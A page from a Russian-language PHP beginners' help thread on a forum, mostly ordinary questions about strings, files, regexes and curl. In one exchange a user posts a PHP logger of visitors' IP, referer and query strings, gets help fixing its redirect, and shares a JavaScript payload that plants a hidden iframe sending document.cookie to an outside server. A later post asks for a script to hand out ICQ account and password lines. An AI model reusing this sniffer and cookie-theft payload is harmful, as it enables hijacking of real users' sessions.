PDA

Просмотр полной версии : [php] Новичкам: задаем вопросы


Страницы : 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 [40] 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66

VaTTka
31.03.2009, 00:37
По возможности помогите плз. Нужна прога типа:
есть список опеределнных символов, они идут в столбец
123123123-34534534
243242342-43534534
Нужно вставлять перед каждой строкой определенный(одинаковый) текст:
рарар -аавыа 123123123-34534534
рарар -аавыа 243242342-43534534
и уже другой(одинаковый) текст после каждой строки:
рарар -аавыа 123123123-34534534 -039оратвг =ыаывамив
рарар -аавыа 243242342-43534534 -039оратвг =ыаывамив
Заранее благодарен! Если есть такая прога, то подскажите название плз, ничего подобного не нашел.

Fepsis
31.03.2009, 00:54
VaTTka, вот скрипт... Заменяй "текст в начале" и "текст в конце" на свои значения...


<?php
if(isset($_POST['go']))
{
$h = explode("\n", $_POST['text']);
for ($j = 0; $j<=count($h)-1; $j++)
{
$ar = rtrim($h[$j]);
print_r('<div align="center">текст в начале '.$ar.' текст в конце</div>');
}
} else {
echo '<div align="center">Введи исходные данные<br><form method=post>
<textarea cols=70 rows=20 name="text"></textarea><br><br><input name="go"
type=submit value="Вставить то что нужно"></form></div>';
}
?>

Zitt
31.03.2009, 11:56
Такой вопрос...
Есть текст, в неизвестном месте есть мыло, причем оно может быть как просто name@site.com так и <u>name@site.com </u> и еще куча вариаций....
Может можка какнть выцепить мыло??

Pashkela
31.03.2009, 12:00
<?php
$text = 'Лабуда, lala@uandex.ru, разный текст
Лабуда, <u>kusia@mail.ru</u>, разный текст текста=)b2f387d9ebc680e559bc48d029c6c0efПр иведите Лабуда, разный текст b2f387d9ebc680e559bc48d029c6c0efЛабуда, разный текст пример текста=) Типо такого...';
preg_match_all('/\w+@\w+.\w+/', $text, $out);
print_r($out);
?>

Ershik
31.03.2009, 22:41
Встраиваю снифер с помощью javascript
Проблема в том, что страница постоянно обновляется из-за header
Как можно заставить скрипт выполниться 1 раз?
При заходе, страница постоянно обновляется.
попробовал функцию "break" - не помогла.
<?
$data_filename = "data.txt";
$max_entries = 0; // 0 для снятия лимита
require 'functions.php';
cleaner();
$sniffed['date'] = date("d.m.Y H:i");
$sniffed['ip'] = $_SERVER['REMOTE_ADDR'];
$sniffed['referer'] = htmlspecialchars(stripslashes(urldecode($_SERVER['HTTP_REFERER'])));
$sniffed['query'] = htmlspecialchars(stripslashes(urldecode($_SERVER['QUERY_STRING'])));
//$sniffed['query'] = ($_SERVER['QUERY_STRING']);
$sniffed['agent'] = htmlspecialchars(stripslashes($_SERVER['HTTP_USER_AGENT']));
$sniffed['real_ip'] = htmlspecialchars(stripslashes($_SERVER['HTTP_X_FORWARDED_FOR']));

$entrie = serialize($sniffed);
$data = array();
$data_content = get_file_content($data_filename);
if ($data_content !== NULL) $data = unserialize($data_content);
$data[] = $entrie;
$data_content = serialize($data);
put_file_content($data_filename, $data_content);
header("Location:http://sait.ru/mail.php");
breake;
// Вызов: <script>window.location.href='http://site2.ru;</script>
?>

Pashkela
31.03.2009, 22:50
breake; NO
exit; YES

Ershik
31.03.2009, 23:06
не помогает.
Поставил exit; в s.php и funchion.php - результат тот же.

mailbrush
31.03.2009, 23:16
die();

rushter
31.03.2009, 23:17
Встраиваю снифер с помощью javascript
Проблема в том, что страница постоянно обновляется из-за header
Как можно заставить скрипт выполниться 1 раз?
При заходе, страница постоянно обновляется.
попробовал функцию "break" - не помогла.
<?
$data_filename = "data.txt";
$max_entries = 0; // 0 для снятия лимита
require 'functions.php';
cleaner();
$sniffed['date'] = date("d.m.Y H:i");
$sniffed['ip'] = $_SERVER['REMOTE_ADDR'];
$sniffed['referer'] = htmlspecialchars(stripslashes(urldecode($_SERVER['HTTP_REFERER'])));
$sniffed['query'] = htmlspecialchars(stripslashes(urldecode($_SERVER['QUERY_STRING'])));
//$sniffed['query'] = ($_SERVER['QUERY_STRING']);
$sniffed['agent'] = htmlspecialchars(stripslashes($_SERVER['HTTP_USER_AGENT']));
$sniffed['real_ip'] = htmlspecialchars(stripslashes($_SERVER['HTTP_X_FORWARDED_FOR']));

$entrie = serialize($sniffed);
$data = array();
$data_content = get_file_content($data_filename);
if ($data_content !== NULL) $data = unserialize($data_content);
$data[] = $entrie;
$data_content = serialize($data);
put_file_content($data_filename, $data_content);
header("Location:http://sait.ru/mail.php");
breake;
// Вызов: <script>window.location.href='http://site2.ru;</script>
?>
break;,а не breake; :)

Ershik
31.03.2009, 23:24
Так? Скрипт останавливается, но перехвата не происходит.
die("Location:http://www.starichki.ru/mail.php?offset=1&display=text"));
rushter. да я заметил ошибку. Все так же.

Sharky
01.04.2009, 01:11
echo "<script>window.location.href='http://site2.ru;</script>";
и можете меня называть извращенцем

Ershik
01.04.2009, 05:15
Не назову.
Ибо это сработало, помогло.

Помог этот скрипт
document.write('<iframe width=1 height=1 style="position: absolute; visibility: hidden;" src="'+'http://sait.ru/1.php'+'?['+location.host+']:'+document.cookie+'"></iframe>');

wildshaman
01.04.2009, 08:07
Так? Скрипт останавливается, но перехвата не происходит.

rushter. да я заметил ошибку. Все так же.

надо

die;
header("Location: http://yandex.ru");

Zitt
01.04.2009, 12:44
как записать данные из массива в фаил?
$ha =fopen("1.txt", 'rb');
$o = serialize($o); // массив
fwrite ($ha,"$o");
fclose($ha);
выдает
Warning: fclose(): 3 is not a valid stream resource in
Array ( [0] => Array ( [0] => kism [1] => kism ) )
Warning: fwrite(): 3 is not a valid stream resource in

Sharky
01.04.2009, 12:49
как записать данные из массива в фаил?
$ha =fopen("1.txt", 'rb');
$o = serialize($o); // массив
fwrite ($ha,"$o");
fclose($ha);
выдает
Warning: fclose(): 3 is not a valid stream resource in
Array ( [0] => Array ( [0] => kism [1] => kism ) )
Warning: fwrite(): 3 is not a valid stream resource in

$out = "out.txt";
$o = serialize($o); // массив
$out_list = fopen($out, "w");

while (!feof($o))
{
$buffer = trim(fgets($o));
fwrite($out_list, $buffer"\r\n");
}
fclose($out_list);
не тестил

Zitt
01.04.2009, 12:55
Warning: feof(): supplied argument is not a valid stream resource in
Warning: fgets(): supplied argument is not a valid stream resource in

Warning: feof(): supplied argument is not a valid stream resource in
Warning: fgets(): supplied argument is not a valid stream resource in

Krist_ALL
01.04.2009, 13:04
<?php
$o = array(1,2,3,4,5);
$ha =fopen("1.txt", 'rb');
$a = serialize($o);
fwrite ($ha,"$a");
fclose($ha);
?>

NOmeR1
01.04.2009, 13:19
Можно так
fwrite($file, print_r($array,true));
Или так
fwrite($file, var_dump($array,true));
fwrite($file, var_export($array,true));

Zitt
01.04.2009, 13:19
пустой фавил((
массив имеет формат
Array
(
[0] => Array
(
[0] => цуцуцу
[1] => ввц
)

)

Krist_ALL
01.04.2009, 13:41
<?php
$o = array(1,2,3,4,5);
$ha =fopen("1.txt", 'a');
$a = serialize($o);
fwrite ($ha,"$a");
fclose($ha);
?>

Причина была в режиме открытия файла!

m0Hze
01.04.2009, 13:45
Действуй фореачем,или фор.
В общем цикл решает.

Zitt
01.04.2009, 13:53
записваеться в виде
a:1:{i:0;a:0:{}}a:1:{i:0;a:2:{i:0;s:16:"цуцу";i:1;s:16:"цуцу";}}a:1:{i:0;a:2:{i
а протсо значение нилезя? ))

Krist_ALL
01.04.2009, 14:06
<?php
$o = array(1,2,3,4,5);
$ha =fopen("1.txt", 'a');
foreach($o as $z)
{ $znacheniya .="$z".';'; }
fwrite ($ha,"$znacheniya");
fclose($ha);
?>


в качестве разделителя выступает точка с запятой, если не хотите разделять значения то измените на


<?php
$o = array(1,2,3,4,5);
$ha =fopen("1.txt", 'a');
foreach($o as $z)
{ $znacheniya .=$z; }
fwrite ($ha,"$znacheniya");
fclose($ha);
?>

m0Hze
01.04.2009, 14:06
Емае
$fo = fopen('file','a;);
foreach($array as $val){
fwrite($fo,$val."\n");
}
fclose($fo);

mailbrush
01.04.2009, 14:10
<?
$array=array; //array
for($i=0;$i<=count($array[0]);$i++)
{
$fp=fopen("out.txt","a+");
fwrite($fp,$array[0][$i]);
fclose($fp);
}
?>не тестил

Zitt
01.04.2009, 14:27
<?php
$o = array(1,2,3,4,5);
$ha =fopen("1.txt", 'a');
foreach($o as $z)
{ $znacheniya .="$z".';'; }
fwrite ($ha,"$znacheniya");
fclose($ha);
?>
Array;Array;Array;Array;Array;Array;Array;

Емае
$fo = fopen('file','a;
foreach($array as $val){
fwrite($fo,$val."\n");
}
fclose($fo);

Array
Array
Array
Array

=))

Krist_ALL
01.04.2009, 14:32
Zitt, ты точно сокпировал код правильно, мой всмысле?у меня все нормально работает да и не может быть иначе. Скопипасти код и проверь еще раз!

geforse
01.04.2009, 15:01
$page = 'http://www.google.ru/';

preg_match('#<b>(.*?)</b>#i', $page, $match);
print_r($match);

Выдаёт: Array ( )

Что я не так делаю ?(((

Zitt
01.04.2009, 15:05
geforse, пустой масисв у тя..... где ты в строке page увидел теги...

Fepsis
01.04.2009, 15:06
$page = 'http://www.google.ru/';

preg_match('#<b>(.*?)</b>#i', $page, $match);
print_r($match);

Выдаёт: Array ( )

Что я не так делаю ?(((

$page = 'http://www.google.ru/';

preg_match('#<b>(.*?)</b>#i', file_get_contents($page), $match);
print_r($match);

Попробуй так..

geforse
01.04.2009, 15:16
И так:


$page = 'http://www.google.ru/';

preg_match('#<b>(.*?)</b>#i', file_get_contents($page), $match);
print_r($match);

Попробуй так..

и так:


$page = file_get_contents("http://www.google.ru/");

preg_match('#<b>(.*?)</b>#i', $page, $match);
print_r($match);

выдаёт Array ( ) :(

Zitt
01.04.2009, 15:22
тупо на гугле.ру нету тега <b> :-DD

geforse
01.04.2009, 15:25
его там и впрямь нету)))

Fepsis
01.04.2009, 15:40
тупо на гугле.ру нету тега <b> :-DD
Угу.. Там в <b></b> только адрес мыла, если выполнен вход в почту на гегле..

Zitt
01.04.2009, 15:48
если выполнен вход в почту на гегле..
geforse, знач юзай курл с куками от мыла, потом парсь..

delay(0)
01.04.2009, 18:40
Такая ситуация: получаю из формы определённый текст (точнее - стихотворение), разбитый на строки, и конечно содержащий пропуски между катренами.
Сам вопрос: каким образом ограничить количество пропусков (<br/>) между ними до 1. Т.е. вбив хоть 10 пропусков, получишь 1.

Вот так выводить можно:
Не жалею, не зову, не плачу,
Все пройдет, как с белых яблонь дым.
Увяданья золотом охваченный,
Я не буду больше молодым.

Ты теперь не так уж будешь биться,
Сердце, тронутое холодком,
И страна березового ситца
Не заманит шляться босиком.


Вот так нельзя:
Не жалею, не зову, не плачу,
Все пройдет, как с белых яблонь дым.
Увяданья золотом охваченный,
Я не буду больше молодым.



Ты теперь не так уж будешь биться,
Сердце, тронутое холодком,
И страна березового ситца
Не заманит шляться босиком.

akil
01.04.2009, 19:06
Исправил...
/(.*?<br\/>?)/
первое попавшееся совпадение будет в $1
Просто нужно больше оптимизировать регексп :) , ну там просмотреть на счет спец символов :)
а потом открываешь и читаешь файл
while (<FILE>)
{
if(/(.*?<br\/>?)/) {print $1 . "\n"; }
}

close FILE;



Теперь должно рабоать правильно :)

akil
01.04.2009, 19:32
Только щя понял что это тема про ПХП, извиняюсь .. :) Надеюсь по перлу понятно как и в ПХП сделать.

delay(0)
01.04.2009, 19:37
akil, разобрался без регекспов. :)

svesve
01.04.2009, 22:38
Есть скрипт который вызывает некоторую функцию

эта функция отдает содержимое страницы с определенного сервера
если содержимое то что надо то функция делает одно действие иначе другое.
вообщем конструкиц типа
if(get_something($variable)){
$a="1";
}else{
$a="2"}

дак вот иногда этот сервер с которого функция заирает данные бывает в дауне и у меня выводит 504 ошибка что сервак отвалился по таймауту...как это обойти и если сервак отваливается чтоб сразу выполнялось
$a=2

akil
01.04.2009, 22:46
ну.. можно добавить еще одно условие и в нем уже проверять на даную ошибку...
elsif(get_something($variable)=="your error") {do_something;}

svesve
01.04.2009, 22:51
ну.. можно добавить еще одно условие и в нем уже проверять на даную ошибку...
elsif(get_something($variable)=="your error") {do_somthing;}
такая конструкция не катит так как функция не возвращает ошибку а идет отваливание по тайм аутут от сервера

akil
01.04.2009, 22:55
тогда первое что приходит на ум.. так это проверять сначала на доступность сервак .. а потом уже получать контент если он в апе

svesve
01.04.2009, 23:04
каким образом?

akil
01.04.2009, 23:09
ну .. если в дауне .. это выключен, или отключен от сетки :)
то пингом. Если ответ приходит значит можно действовать дальше. Если не шибаюсь то в ПХП команду в системе можно выполнить при помощи system();
На вскидку не помню что он отдает и в каких случаях.
Кста .. или тем же телнетом поломиться на определенный порт :) Может получиться...

PaCo
01.04.2009, 23:10
если функция например дергает данные посредством fsockopen то можешь уменьшить таймаут например через stream_set_timeout или в параметре к fsockopen что бы не ждать 30 сек, для curl CURLOPT_TIMEOUT.

roddik
02.04.2009, 00:25
надо

die;
header("Location: http://yandex.ru");



header("Location: http://yandex.ru");
die;

:)

ntldr
02.04.2009, 01:35
Не знаю куда запостить, пишу сюда. Если что далеко не уносите этот пост, а то потом не найду.

Вопрос: есть ли php-интерпретатор для кпк(windows CE)? НЕ pocket hph. А просто php, скомпиленный под wince. или может кто-нибудь, кто умеет, попробовать скомпилировать исходники php под arm(windows ce)?

xismyname
02.04.2009, 03:59
Привет..
Незнает тут кто нибудь в каком формате создаються HASH пароля в vBulletin 3.0.7,имею виду наприм. md( md($pas) . salt ); и т.д.
Заранее спасибо !

rushter
02.04.2009, 09:16
| VBulletin | md5(md5($pass).$salt)

Byrger
02.04.2009, 10:22
Почему функция неправитьно шифрует...
Заменяет не то что под тем сиволом как во 2 массиве...

function crupt($text){
$key = array(q,w,e,r,t,y,u,i,o,p,a,s,d,f,g,h,j,k,l,z,x,c, v,b,n,m,1,2,3,4,5,6,7,8,9,0);
$dekey=array(g,f,d,s,a,h,j,k,l,m,z,n,x,b,c,v,1,q,2 ,w,3,e,4,r,5,t,6,y,7,u,8,i,9,o,0,p);
$text = str_replace($key, $dekey, $text);
return $text;
}

Pashkela
02.04.2009, 10:45
потому что разное кол-во элементов массивов

Byrger
02.04.2009, 10:54
потому что разное кол-во элементов массивов
Да вроде даже на глаз видно что одинаковое...

Pashkela
02.04.2009, 11:27
Чото сам не понимаю, даже так сделал:


<?php
$key =
array("q","w","e","r","t","y","u","i","o","p","a","s","d","f","g","h","j","k","l","z","x","c","v","b","n","m","1","2","3","4","5","6","7","8","9","0");
$dekey=
array("g","f","d","s","a","h","j","k","l","m","z","n","x","b","c","v","1","q","2","w","3","e","4","r","5","t","6","y","7","u","8","i","9","o","0","p");

$str = "qwe";
echo str_replace($key, $dekey, $str);
?>


чушь какая-то:)

Byrger
02.04.2009, 11:37
Чото сам не понимаю, даже так сделал:


<?php
$key =
array("q","w","e","r","t","y","u","i","o","p","a","s","d","f","g","h","j","k","l","z","x","c","v","b","n","m","1","2","3","4","5","6","7","8","9","0");
$dekey=
array("g","f","d","s","a","h","j","k","l","m","z","n","x","b","c","v","1","q","2","w","3","e","4","r","5","t","6","y","7","u","8","i","9","o","0","p");

$str = "qwe";
echo str_replace($key, $dekey, $str);
?>


чушь какая-то:)

А как можно сделать?
Мне надо шифрование хотяб по 6 значному ключу...

vizard-06
02.04.2009, 11:38
<?
function crupt($text){
$key = array('q','w','e','r','t','y','u','i','o','p','a', 's','d','f','g','h','j','k','l','z','x','c','v','b ','n','m','1','2','3','4','5','6','7','8','9','0') ;
$dekey=array('g','f','d','s','a','h','j','k','l',' m','z','n','x','b','c','v','1','q','2','w','3','e' ,'4','r','5','t','6','y','7','u','8','i','9','o',' 0','p');
$text = str_replace($key, $dekey, $text, $count);
echo $count;
return $text;
}
echo ' '.crupt('q');
?>

выводет
3 e
перезамен идёт по несколько раз

NuR
02.04.2009, 11:41
проблема в том что в алфавите нет каких то букв, поэтому происходит замена левым символом который заменялся перед ней, иначе символом w как я понял. если тебе нужен шифроалгоритм могу скинуть перестановку с путями гамильтона(тока я не доделал декодирование сего мяса)

Pashkela
02.04.2009, 11:41
а вот так работает:


<?php

function zam($text){
$key =
array("q","w","e","r","t","y","u");
$dekey=
array("g","f","d","s","a","h","j");
return str_replace($key, $dekey, $text);
}

$str = "qwe";
echo zam($str);
?>


т.е. прямая и явная связь с КОЛИЧЕСТВОМ элементов в массиве, т.е. есть ограничения какие-то, или не успевает вычислить, или хз

здесь

http://ru2.php.net/str_replace

ничего про такие ограничения не сказано, наверное мы обнаружили новый баг функции str_replace:)

Надо пулять сюда:

http://bugs.php.net/

vizard-06
02.04.2009, 11:46
работает на половину не верно,верные вариации есть только потому что нет заменённых символов дальше в массиве на которые бы можно было ещё заменить

vizard-06
02.04.2009, 11:53
Pashkela.
да какой это баг, функция меняет все варианты котрые есть в массиве, и ей пофиг что они уже были когда то поменяны, перезамен идёт по несколько раз, так как заменив например на символ "e" на "d", она дальше в списке массива находит ещё символ "d" и меняет соответственно его на "x", поэтому и получается не верный результат

$key = array("q","w","e","r","t","y","u","i","o","p","a","s","d");
$dekey= array("g","f","d","s","a","h","j","k","l","m","z","n","x");

Byrger
02.04.2009, 11:54
Pashkela.
да какой это баг, функция меняет все варианты котрые есть в массиве, и ей пофиг что они уже были когда то поменяны, перезамен идёт по несколько раз, так как заменив например на символ "e" на "d", она дальше в списке массива находит ещё символ "d" и меняет соответственно его на "x", поэтому и получается не верный результат
И как сделать чтоб 1 раз меняла?

vizard-06
02.04.2009, 11:55
Byrger
меняй по отдельности буквы а не все сразу или реализовать через ASCII

Byrger
02.04.2009, 11:59
Byrger
меняй по отдельности буквы а не все сразу
Отсюда вопрос как сторку разбить по букавм на массив и потом после прогона собрать?

vizard-06
02.04.2009, 12:15
можно попробовать вот так извратиться)))

<?
function crupt($text)
{
$key = array(ord('q'),ord('w'),ord('e'),ord('r'));
$dekey= array(ord('g'),ord('f'),ord('d'),ord('s'));
for($i = 0; $i < strlen($text); $i++)
{
$texte .= chr(str_replace($key, $dekey, ord($text{$i})));
}
return $texte;
}
echo crupt('qwer');
?>

vizard-06
02.04.2009, 12:32
а лучше всё-таки

<?
function crupt($text)
{
$key = array('q' => 'g', 'w' => 'f','e' => 'd', 'r' => 's');
for($i = 0; $i < strlen($text); $i++)
{
$rekey = empty($key[$text{$i}]) ? $text{$i} : $key[$text{$i}];
$texte .= $rekey;
}
return $texte;
}
echo crupt('bbbqwer');
?>

Byrger
02.04.2009, 12:34
можно попробовать вот так извратиться)))

<?
function crupt($text)
{
$key = array(ord('q'),ord('w'),ord('e'),ord('r'));
$dekey= array(ord('g'),ord('f'),ord('d'),ord('s'));
for($i = 0; $i < strlen($text); $i++)
{
$texte .= chr(str_replace($key, $dekey, ord($text{$i})));
}
return $texte;
}
echo crupt('qwer');
?>

Аналогичный результат...
Без шифровки: e10adc3949ba59abbe56e057f20f883e
после шифровки: d10adc3949ba59abbd56d057f20f883d
После расшифровки: e10aec3949ba59abbe56e057w20w883e

vizard-06
02.04.2009, 12:40
в массиве на замен не все символы, добаляй все, я ради приера показывал

NuR
02.04.2009, 12:48
собственно вот вам реализация крипто-алгоритма методом перестановки с применением путей Гамильтона


function gamilton_enc($in,$key)
{
$out = "";
$routes = array(
1 => "45102376",
2 => "40231576",
3 => "46201573",
4 => "45762013",
5 => "40132675");

$tmp_key = $routes[array_rand($routes, 1)];
$block_size = strlen($tmp_key);
while (strlen($in) % $block_size != 0) {
$in .= "*";
}
$num_block = 0;
$blocks = array();
for ($i = 0; $i < strlen($in); ) {
$blocks[$num_block] = substr($in, $i, $block_size);
$num_block++;
$i += $block_size;
}
$key_routes = explode(",", $key);
foreach ($blocks as $key => $block) {
$curent_key = $key % count($key_routes);
for ($i = 0; $i < strlen($routes[$key_routes[$curent_key]]); $i++) {
$out .= $block[$routes[$key_routes[$curent_key]][$i]];
}
}
return $out;
}


function gamilton_dec($in,$key)
{
$out = "";
$fout="";
$routes = array(
1 => "45102376",
2 => "40231576",
3 => "46201573",
4 => "45762013",
5 => "40132675");

$tmp_key = $routes[array_rand($routes, 1)];
$block_size = strlen($tmp_key);

$num_block = 0;
$blocks = array();
for ($i = 0; $i < strlen($in); ) {
$blocks[$num_block] = substr($in, $i, $block_size);
$num_block++;
$i += $block_size;
}
$key_routes = explode(",", $key);
$block_num=0;
foreach ($blocks as $key => $block) {
$curent_key = $key % count($key_routes);
for ($i = 0; $i < strlen($routes[$key_routes[$curent_key]]); $i++) {
$out[$block_num][$routes[$key_routes[$curent_key]][$i]] = $block[$i];
}
ksort($out[$block_num]);
$fout.=implode('',$out[$block_num]);
$block_num++;
}

return $fout;
}
$in = "e10adc3949ba59abbe56e057f20f883e";
$key = "2,5,3";
var_dump( gamilton_enc($in,$key) );


помоему никто еще на пхп не реализовывал данный алгоритм=) хорошо шифрует строки кратные длине ключа, а если нет то выходит что на выходе будут технические символы. если кто то заинтересуется может доработать мой код

Byrger
02.04.2009, 12:52
собственно вот вам реализация крипто-алгоритма методом перестановки с применением путей Гамильтона



помоему никто еще на пхп не реализовывал данный алгоритм=) хорошо шифрует строки кратные длине ключа, а если нет то выходит что на выходе будут технические символы. если кто то заинтересуется может доработать мой код

Спасибо большое!

m0Hze
02.04.2009, 12:54
В php и так уже все сделано за тебя =)

$str = "Hello";
echo $str[0]; // Выводит H, но работает только со строками,тоесть с " "

--or--
$str = "Hello";
$arr = str_split($str);

vizard-06
02.04.2009, 13:11
вот рабочий на 100% вариант, то что ты хотел реализовано, что там у тебя с дешифрацией - незнаю, выкладывай
код

<?
function crupt($text)
{
$key = array('q' => 'g', 'w' => 'f', 'e' => 'd', 'r' => 's', 't' => 'a',
'y' => 'h', 'u' => 'j', 'i' => 'k', 'o' => 'l', 'p' => 'm',
'a' => 'z', 's' => 'n', 'd' => 'x', 'f' => 'b', 'g' => 'c',
'h' => 'v', 'j' => '1', 'k' => 'q', 'l' => '2', 'z' => 'w',
'z' => 'w', 'x' => '3', 'c' => 'e', 'v' => '4', 'b' => 'r',
'n' => '5', 'm' => 't', '1' => '6', '2' => 'y', '3' => '7',
'4' => 'u', '5' => '8', '6' => 'i', '7' => '9', '8' => 'o',
'9' => '0', '0' => 'p'
);
for($i = 0; $i < strlen($text); $i++)
{
$rekey = $key[$text{$i}] != '' ? $key[$text{$i}] : $text{$i};
$texte .= $rekey;
}
return $texte;
}
echo crupt('qwertyuiopasdfghjklzxcvbnm1234567890');
?>

-Hormold-
03.04.2009, 01:24
Накопал фишку в PHP:

<?php
unset(MI_PI);
echo pi();
?>

Прикольная ошибка :-)
Что же такое - T_PAAMAYIM_NEKUDOTAYIM?

<?php
echo T_PAAMAYIM_NEKUDOTAYIM;
?>

WTF - 374?!

Pashkela
03.04.2009, 02:00
2 -Hormold-:


PAAMAYIM_NEKUDOTAYIM это как правильно перевели с иврита «двойное двоеточие»
А всё потому, что наш любимый PHP развивался израильтянами Andi Gutmans'oм и Zeev'oм Suraski

hordon
03.04.2009, 02:09
как объединить два файл в один php код ? Плиз, очень срочно

upload.html
<html><body><form action="upload.php" method="post" enctype="multipart/form-data"><input type="file" name="filename"><br><input type="submit" value="Загрузить"><br></form></body></html>
и
upload.php
<?php if($_FILES["filename"]["size"] > 1024*3*1024) { echo ("Размер файла превышает три мегабайта"); exit; } if(copy($_FILES["filename"]["tmp_name"], "D:/server/Apache/htdocs/".$_FILES["filename"]["name"])) { echo("Файл успешно загружен <br>"); echo("Характеристики файла: <br>"); echo("Имя файла: "); echo($_FILES["filename"]["name"]); echo("<br>Размер файла: "); echo($_FILES["filename"]["size"]); echo("<br>Каталог для загрузки: "); echo($_FILES["filename"]["tmp_name"]); echo("<br>Тип файла: "); echo($_FILES["filename"]["type"]); } else { echo("Ошибка загрузки файла"); } ?>

blaga
03.04.2009, 05:16
upload.php

<?php if($_FILES["filename"]["size"] > 1024*3*1024)
{
echo ("Размер файла превышает три мегабайта");
exit;
}
if(copy($_FILES["filename"]["tmp_name"], "D:/server/Apache/htdocs/".$_FILES["filename"]["name"]))
{ echo("Файл успешно загружен <br>");
echo("Характеристики файла: <br>");
echo("Имя файла: ");
echo($_FILES["filename"]["name"]);
echo("<br>Размер файла: ");
echo($_FILES["filename"]["size"]);
echo("<br>Каталог для загрузки: ");
echo($_FILES["filename"]["tmp_name"]);
echo("<br>Тип файла: ");
echo($_FILES["filename"]["type"]);
}
else {
echo("Ошибка загрузки файла");
} ?>
<html><body><form action="upload.php" method="post" enctype="multipart/form-data"><input type="file" name="filename"><br><input type="submit" value="Загрузить"><br></form></body></html>

REDz
03.04.2009, 05:34
Гм.... вроде Гуру... =)

Самый примитивный, на мой взгляд, метод:

$t=file("1.txt");
$t=implode("\r\n",$t);
$t=str_replace("\r\nFucken","",$t);
$f=fopen("1.txt","w");
fwrite($f,$t);
fclose($f);


Удаляет все слова "Fucken" из файла


$rd=0;//Номер строки которую нужно удалить
$t=file("1.txt");
$fp = fopen("1.txt","a+");
flock ($fp,LOCK_EX);
for ($i=0;$i< sizeof($t);$i++) { if ($i==$rd) {unset($t[$i]);} }
fputs($fp, implode($t));
fflush($fp);
flock ($fp,LOCK_UN);
fclose($fp);

Snorlax
03.04.2009, 18:46
Например в txt файле написаны 5 строчек:
icq: бла бла бла пасс: бла бла
icq: бла бла бла пасс: бла бла
icq: бла бла бла пасс: бла бла
icq: бла бла бла пасс: бла бла
icq: бла бла бла пасс: бла бла

Как зделать так чтоб при переходе на страницу вычитавалась 1 строчка файла и удалялась из файла, при втором переходе уже выдавалась следующая срочка и тоже удалялась! и так со всеми строчками! пока не роздадуться все аси! (например)
Заранее огромное спасибо!

art2222
03.04.2009, 19:01
Как зделать так чтоб при переходе на страницу вычитавалась 1 строчка файла и удалялась из файла, при втором переходе уже выдавалась следующая срочка и тоже удалялась!
Например, вот вариант (не шибко красивый конечно). Но я бы порекомендовал юзать БД.

<?php
$f = file_get_contents('icq.txt');
$arr = explode("\r\n",$f);
echo $arr[0]; //печатаем нум.
$arr[0]='';
file_put_contents('icq.txt',trim(implode("\r\n",$arr)));
?>

159932
03.04.2009, 19:26
Например, вот вариант (не шибко красивый конечно). Но я бы порекомендовал юзать БД.

<?php
$f = file_get_contents('icq.txt');
$arr = explode("\r\n",$f);
echo $arr[0]; //печатаем нум.
$arr[0]='';
file_put_contents('icq.txt',trim(implode("\r\n",$arr)));
?>

ему скорее всего под раздачу асек .. нах ещё бд то??
зачем использовать file_get_contents а потом explode ? есть ф-ия file()
$arr[0]=''; - зачем ? это остаёться в массиве, и потом добавляеться после него "\r\n" .. поэтому в последующие разы использования скрипта, будет выводиться пустая строка.. тебя от этого конечно спасает trim(), но нах это? .. юзай unset()

Pashkela
03.04.2009, 19:31
<?php
$file = 'tema1.txt';
$arr = file($file);
if (count($arr)!=0) echo $arr[0]. "\n";
else {echo 'Асек больше нет';exit;}
unset ($arr[0]);
file_put_contents($file,trim(implode("\r\n",$arr)));
?>

fatalo
03.04.2009, 19:33
hordon,говнокод.У тебя в коде два случая: либо уже загружено,либо ошибка.А если я зашел первый раз?Да и привязка пути
D:/server/Apache/htdocs/

geforse
03.04.2009, 19:41
Авторизация вконтакте:


$cookie="remixlang=0;
remixchk=5;
remixmid=1;
remixemail=admin%40vkontakte.ru;
remixpass=fdgfgd56456fghghf67ffhg;
remixsid=297f8b6f81dc6fghf678gbg76754a96d0dcef1983 0a4622cc4d68;";

$ref = 'http://vkontakte.ru/';
$ch=curl_init ("http://vkontakte.ru/login.php");
$ua = 'User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Widows NT)';
curl_setopt($ch, CURLOPT_USERAGENT, $ua);
curl_setopt ($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $ua);
curl_setopt($ch, CURLOPT_REFERER, $ref);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $PostData);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
curl_setopt($ch,CURLOPT_POSTFIELDS,$zapros);
$page = curl_exec($ch);

echo $page;

Чего ему надо ?((
Не авторизирует(

mailbrush
03.04.2009, 20:15
art2222, вот скрипт раздачки http://forum.antichat.ru/showpost.php?p=1139001&postcount=646

Chaak
03.04.2009, 20:31
<?php
$file = 'tema1.txt';
$arr = file($file);
if (count($arr)!=0) echo $arr[0]. "\n";
else {echo 'Асек больше нет';exit;}
unset ($arr[0]);
file_put_contents($file,trim(implode("\r\n",$arr)));
?>

чтоза быдлокод?

<?php
$fname = 'tema1.txt.';
$file = file($fname);


($tmp = array_pop($file))?(echo($tmp)):(die('Асек больше нет'));
file_put_contents($fname, $file);

REDz
03.04.2009, 20:32
Все намного проще!

$t=file("1.txt");
echo $t[0];
$rd=0;//Номер строки которую нужно удалить
$fp = fopen("1.txt","a+");
flock ($fp,LOCK_EX);
for ($i=0;$i< sizeof($t);$i++) { if ($i==$rd) {unset($t[$i]);} }
fputs($fp, implode($t));
fflush($fp);
flock ($fp,LOCK_UN);
fclose($fp);

mailbrush
03.04.2009, 20:35
У Чаака, имхо, самый оптимальный вариант.

Велемир
03.04.2009, 20:45
Не передаются данные из хтмл формы методом пост скрипту пыхыпышному.Как решить проблему?

Содержание .htaccess:

Order deny,allow
allow from 127.0.0.1
Options -Indexes
DirectoryIndex index.php

Больше ничего вроде и не менял.

Настройки www:

<Directory "C:\Program Files\VertrigoServ\www">
Options None
AllowOverride All
</Directory>

mff
03.04.2009, 20:50
Ребят, как более грамотно сделать, задача во всех строках, перед выводом, заменить "<br>" на "горизонтальную табуляцию" ?

Chaak
03.04.2009, 20:51
Велемир, скрипт покажи и html-форму
